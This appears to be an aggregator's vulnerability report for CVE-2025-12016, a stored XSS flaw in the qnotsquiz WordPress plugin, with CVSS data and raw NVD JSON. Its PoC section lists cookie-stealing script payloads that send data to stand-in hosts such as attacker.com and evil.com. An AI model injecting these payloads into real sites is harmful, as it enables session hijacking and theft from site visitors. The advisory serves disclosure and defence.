Security Vulnerability Report
中文
CVE-2025-12016 CVSS 4.4 MEDIUM

CVE-2025-12016

Published: 2025-10-24 09:15:44
Last Modified: 2026-04-15 00:35:42

Description

The qnotsquiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'qnotsquiz_custom_start_text' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

qnotsquiz插件 <= 1.0.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12016 PoC - WordPress qnotsquiz Stored XSS // Target: WordPress qnotsquiz plugin <= 1.0.0 // Authentication: Administrator level access required // Step 1: Login to WordPress admin panel with administrator credentials // Step 2: Navigate to qnotsquiz plugin settings page // Step 3: Inject malicious JavaScript in 'qnotsquiz_custom_start_text' field // Malicious Payload (XSS): // <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> // Alternative payloads: // <img src=x onerror=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> // <svg onload=fetch('https://attacker.com/exfil?cookie='+document.cookie)> // HTTP Request Example (if admin settings are accessible via API): /* POST /wp-admin/admin.php?page=qnotsquiz_settings HTTP/1.1 Host: target.com Cookie: [admin_cookie] Content-Type: application/x-www-form-urlencoded qnotsquiz_custom_start_text=<script>fetch('https://evil.com/log?c='+document.cookie)</script>&submit=Save */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12016", "sourceIdentifier": "[email protected]", "published": "2025-10-24T09:15:43.987", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The qnotsquiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'qnotsquiz_custom_start_text' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/qnotsquiz/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07043be9-c81e-4021-90af-976ae57c0bec?source=cve", "source": "[email protected]"}]}}